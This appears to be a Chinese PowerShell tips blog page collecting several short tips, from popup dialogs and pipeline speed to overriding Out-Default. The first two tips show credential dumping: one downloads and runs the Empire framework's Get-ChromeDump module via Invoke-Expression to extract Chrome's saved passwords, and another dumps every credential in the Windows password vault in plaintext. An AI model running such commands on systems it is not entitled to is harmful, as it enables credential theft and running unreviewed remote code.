PowerShell 技能连载 - 转储 Chrome 的所有密码

在前面的技能中,我们演示了如何从个人 Windows 密码库转储所有密码。基本上任何密码管理器都是如此,因为这些程序的目的是返回它们为您存储的密码。

谷歌 Chrome 浏览器将您的个人密码(和网站历史记录)存储在 SQLLite 数据库中。PowerShell 可以轻松地访问这个数据库并为您转储信息。但是,要做到这一点,PowerShell 需要不属于 Windows 的特定 SQLLite 程序集。

下面的代码展示了如何 (a) 通过一行程序下载大量代码,(b) 在下载的代码中嵌入一个二进制 .net 程序集。

警告:只能在演示机器上运行此代码,或者确保先下载代码,然后在运行之前仔细检查。代码是从第三方下载的,您永远不知道这些代码是否包含恶意内容。

如果你希望转储 Chrome 的隐私信息,我们建议你把代码下载到一个安全的机器上,隔离并检查它,然后在需要的时候从本地保存的副本中使用它。永远不要从不可信的来源下载和执行代码,除非仔细检查代码的实际功能:

1
2
3
4
5
6
7
8
# download the code from GitHub
$url = 'https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/collection/Get-ChromeDump.ps1'
$code = Invoke-RestMethod -Uri $url -UseBasicParsing
# run the code
Invoke-Expression $code

# now you have a new function called Get-ChromeDump
Get-ChromeDump

注意,当Chrome运行时,SQLLite数据库被锁定。你需要关闭Chrome才能转储它的隐私数据。

代码来自未知或不可信源的事实并不意味着代码不好。事实上,当您查看代码时,您会发现一些有趣的技术:

1
2
3
4
5
6
# download the code from GitHub
$url = 'https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/collection/Get-ChromeDump.ps1'
# and copy it to the clipboard
Invoke-RestMethod -Uri $url -UseBasicParsing | Set-ClipBoard

# now paste the code into your editor of choice and inspect it!

您将看到,代码附带了访问 SQLLite 数据库所需的二进制 .net 程序集。二进制文件以 base64 编码为字符串。这是在你的电脑上恢复二进制的部分:

1
2
3
$content = [System.Convert]::FromBase64String($assembly)
$assemblyPath = "$($env:LOCALAPPDATA)\System.Data.SQLite.dll"
Add-Type -Path $assemblyPath

下面是更多与安全相关的PowerShell单行程序:https://chrishales.wordpress.com/2018/01/03/powershell-password-one-liners/

PowerShell 技能连载 - 从 Windows 中转储个人密码

Windows 有一个受保护的密码库,它可以在其中存储您的密码,因此您不必始终在 InternetExplorer 或 Edge 中手动输入密码。

如果您习惯了自动密码管理器,可能偶尔会忘记原始密码。下面是一个超级简单的 PowerShell 方法来转储存储在 Windows 密码库中的所有密码:

1
2
3
4
5
6
7
8
9
10
11
# important: this is required to load the assembly
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]


(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() |
ForEach-Object {
$_.RetrievePassword()
$_
} |
Select-Object -Property Username, Password, Resource |
Out-GridView

请注意,如果您从未在 InternetExplorer 或 Edge 中存储凭据,则不会得到任何结果。还请注意,此代码设计的工作方式:只有您只能检索密码,就像您在浏览器中访问网站并要求浏览器为您填写凭据一样。

转储所有存储的密码说明了为什么在您不在时始终锁定您的计算机是如此重要。如果您让您的计算机无人值守的话,任何人都可以运行此 PowerShell 代码来转储您的个人密码。

PowerShell 技能连载 - 通过 PowerShell 安装 Google Chrome

要下载并安装谷歌Chrome浏览器,只需几个常见的 PowerShell 命令组合:

1
2
3
4
5
$Installer = "$env:temp\chrome_installer.exe"
$url = 'http://dl.google.com/chrome/install/375.126/chrome_installer.exe'
Invoke-WebRequest -Uri $url -OutFile $Installer -UseBasicParsing
Start-Process -FilePath $Installer -Args '/silent /install' -Wait
Remove-Item -Path $Installer

PowerShell 技能连载 - 使用始终可见的弹出对话框

在上一个技能中,我们使用了一种古老的 COM 技术来显示带有内置超时的弹出框。除了对话框有时会被覆盖在 PowerShell 窗口下之外,这种方法运行得非常好。

通过一个鲜为人知的技巧,你可以确保对话框总是打开在所有其他窗口的顶部:

1
2
3
4
$shell = New-Object -ComObject WScript.Shell
$value = $shell.Popup("You can't cover me!", 5, 'Example', 17 + 4096)

"Choice: $value"

关键是在参数中添加 4096 来控制按钮和图标。这将该对话框转换为模态对话框:它保证在所有现有窗口之上打开,并且永远不会被覆盖。

使用哈希表来包装所有这些幻数,这又是一个好办法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$timeoutSeconds = 5
$title = 'Example'
$message = "You can't cover me!"

$buttons = @{
OK = 0
OkCancel = 1
AbortRetryIgnore = 2
YesNoCancel = 3
YesNo = 4
RetryCancel = 5
}

$icon = @{
Stop = 16
Question = 32
Exclamation = 48
Information = 64
}

$clickedButton = @{
-1 = 'Timeout'
1 = 'OK'
2 = 'Cancel'
3 = 'Abort'
4 = 'Retry'
5 = 'Ignore'
6 = 'Yes'
7 = 'No'
}

$ShowOnTop = 4096

$shell = New-Object -ComObject WScript.Shell
$value = $shell.Popup($message, $timeoutSeconds, $title, $buttons.Ok + $icon.Exclamation + $ShowOnTop)

Switch ($clickedButton.$value)
{
'OK' { 'you clicked OK' }
'Timeout'{ 'you did not click anything, timeout occurred' }
}

PowerShell 技能连载 - 用哈希表提高代码可读性

也许你在过去偶然见过这样的代码:

1
2
3
4
$shell = New-Object -ComObject WScript.Shell
$value = $shell.Popup('Restart Computer?', 5, 'Important', 36)

"Choice: $value"

这段代码打开一个对话框,询问用户是否可以重启计算机。弹出对话框有一个内置超时设置,因此即使在无人值守的情况下运行,代码也不会停止。

但是,由于 PowerShell 使用的是一种旧的 COM 方法,它是由加密的 ID 来控制。用户无法理解 “36” 表示一个带有 YesNo 按钮和问号的对话框。那么如何转义返回的值呢?

哈希表可以以一种简单的方法来包装代码数字,并使代码更具可读性。请看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$timeoutSeconds = 5
$title = 'Important'
$message = 'Restart Computer?'

$buttons = @{
OK = 0
OkCancel = 1
AbortRetryIgnore = 2
YesNoCancel = 3
YesNo = 4
RetryCancel = 5
}

$icon = @{
Stop = 16
Question = 32
Exclamation = 48
Information = 64
}

$clickedButton = @{
-1 = 'Timeout'
1 = 'OK'
2 = 'Cancel'
3 = 'Abort'
4 = 'Retry'
5 = 'Ignore'
6 = 'Yes'
7 = 'No'
}

$shell = New-Object -ComObject WScript.Shell
$value = $shell.Popup($message, $timeoutSeconds, $title, $buttons.YesNo + $icon.Question)

"Raw result: $value"
"Cooked result: " + $clickedButton.$value

Switch ($clickedButton.$value)
{
'Yes' { 'restarting' }
'No' { 'aborted' }
'Timeout'{ 'you did not make a choice' }
}

多亏了哈希表,代码使用 $buttons.YesNo + $icon.Question 而不是指定 “36”,而且一旦运行了代码(这样就定义了哈希表),甚至可以获得可用选项的智能感知。

同样,通过使用原始返回值作为哈希表的键,可以轻松地将返回代码转换为人类可读的格式。通过这种方式,您可以使用 switch 语句并为用户单击的按钮分配脚本块,而不必知道单个按钮代码。

PowerShell 技能连载 - 提高管道速度

PowerShell 管道在处理大量元素时往往比较慢。可能需要很多时间:

1
2
3
4
$result = 1..15000 |
ForEach-Object {
"Line $_"
}

一种更快的方法是用匿名脚本块代替 ForEach-Object,它会带来 200 倍的速度提升:

1
2
3
4
$result = 1..15000 |
& { process {
"Line $_"
}}

PowerShell 技能连载 - 检测按键

PowerShell 可能需要知道当前是否按下了给定的键。这样,您的配置文件脚本就可以在 PowerShell 启动期间基于您所按下的键执行一些操作。例如,在启动 PowerShell 时按住 CTRL 键,配置文件脚本可以预加载某些模块或连接到服务器。

以下是 Powershell 检测按键的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# this could be part of your profile script

Add-Type -AssemblyName WindowsBase
Add-Type -AssemblyName PresentationCore

# assume the script is doing something
# (so you can get ready and press left Ctrl!)
Start-Sleep -Seconds 2

# choose the key you are after
$key = [System.Windows.Input.Key]::LeftCtrl
$isCtrl = [System.Windows.Input.Keyboard]::IsKeyDown($key)

if ($isCtrl)
{
'You pressed left CTRL, so I am now doing extra stuff'
}

PowerShell 技能连载 - 覆盖 Out-Default(第 3 部分)

高级的 PowerShell 用户常常发现他们在做以下三件事之一:

  • 他们运行前面的命令并添加 Get-Member,以了解产生的对象的更多信息
  • 他们运行前面的命令并添加 Select-Object * 来查看所有属性
  • 他们运行前面的命令并将其通过管道传输到 Out-GridView 来查看图形化结果

这三条都可以更容易地实现,并且在所有 PowerShell 中都可工作,包括控制台、PowerShell ISE,或 Visual Studio Code。只需要覆盖 Out-Default 并且监听按键。当按下特定按键及回车键时,Out-Default 将会自动为您执行以上额外任务:

  • 左方向键 + 回车按下时,对执行结果运行 Get-Member 并且将结果显示在网格视图中
  • 右方向键 + 回车按下时,将所有执行结果显示在一个网格试图窗口中,这样您可以接触到数据
  • TAB + 回车按下时,将对结果执行 Select-Object *,同时也将结果显示在网格视图中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
cls
Write-Host ([PSCustomObject]@{
'Left Arrow + ENTER' = 'Show Member'
'Right Arrow + ENTER' = 'Echo results'
'Tab + ENTER' = 'Show all properties'
} | Format-List | Out-String)

function Out-Default
{
param(
[switch]
${Transcript},

[Parameter(ValueFromPipeline=$true)]
[psobject]
${InputObject})

begin
{
$scriptCmd = {& 'Microsoft.PowerShell.Core\Out-Default' @PSBoundParameters }
$steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin)
$steppablePipeline.Begin($PSCmdlet)
Add-Type -AssemblyName WindowsBase
Add-Type -AssemblyName PresentationCore
$showGridView = [System.Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::Right)
$showAllProps = [System.Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::Tab)
$showMember = [System.Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::Left)

if ($showGridView)
{
$cmd = {& 'Microsoft.PowerShell.Utility\Out-GridView' -Title (Get-Date -Format 'HH:mm:ss') }
$out = $cmd.GetSteppablePipeline()
$out.Begin($true)

}
if ($showMember)
{

$cmd = {& 'Microsoft.PowerShell.Utility\Get-Member' | Select-Object -Property @{Name = 'Type';Expression = { $_.TypeName }}, Name, MemberType, Definition | Sort-Object -Property Type, {
if ($_.MemberType -like '*Property')
{ 'B' }
elseif ($_.MemberType -like '*Method')
{ 'C' }
elseif ($_.MemberType -like '*Event')
{ 'A' }
else
{ 'D' }
}, Name | Out-GridView -Title Member }
$outMember = $cmd.GetSteppablePipeline()
$outMember.Begin($true)

}

}

process
{
$isError = $_ -is [System.Management.Automation.ErrorRecord]

if ($showMember -and (-not $isError))
{
$outMember.Process($_)
}
if ($showAllProps -and (-not $isError))
{
$_ = $_ | Select-Object -Property *
}
if (($showGridView) -and (-not $isError))
{
$out.Process($_)
}
$steppablePipeline.Process($_)
}

end
{
$steppablePipeline.End()
if ($showGridView)
{
$out.End()
}
if ($showMember)
{
$outMember.End()
}

}
}

要移除这个覆盖函数,只需要运行:

1
PS C:\> del function:Out-Default

PowerShell 技能连载 - 覆盖 Out-Default(第 2 部分)

当您覆盖 Out-Default 指令,做一些有意义的事情时,您需要确保原始的行为没有丢失,而只是加入新的功能。以下是一个使用“代理函数“概念的示例。

原始输入被转发(代理)到原始的 Out-Default cmdlet。此外,函数打开自己的私有 Out-GridView 窗口并将输出回显到该窗口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function Out-Default
{
param(
[switch]
$Transcript,

[Parameter(ValueFromPipeline=$true)]
[psobject]
$InputObject
)

begin
{
$pipeline = { Microsoft.PowerShell.Core\Out-Default @PSBoundParameters }.GetSteppablePipeline($myInvocation.CommandOrigin)
$pipeline.Begin($PSCmdlet)

$grid = { Out-GridView -Title 'Results' }.GetSteppablePipeline()
$grid.Begin($true)

}

process
{
$pipeline.Process($_)
$grid.Process($_)
}

end
{
$pipeline.End()
$grid.End()
}

}
`

要移除覆盖函数,只需要运行:

```powershell
PS C:\> del function:Out-Default

PowerShell 技能连载 - 覆盖 Out-Default(第 1 部分)

Out-Default 是一个隐藏的 PowerShell cmdlet,它在每个命令执行结束时被调用,并且将结果输出到控制台。您可以将这个函数覆盖为自己的版本,例如忽略所有输出,或输出一条“机密”消息:

1
2
3
4
function Out-Default
{
'SECRET!'
}

以下是移除自定义覆盖函数的方法:

1
PS C:\> del function:Out-Default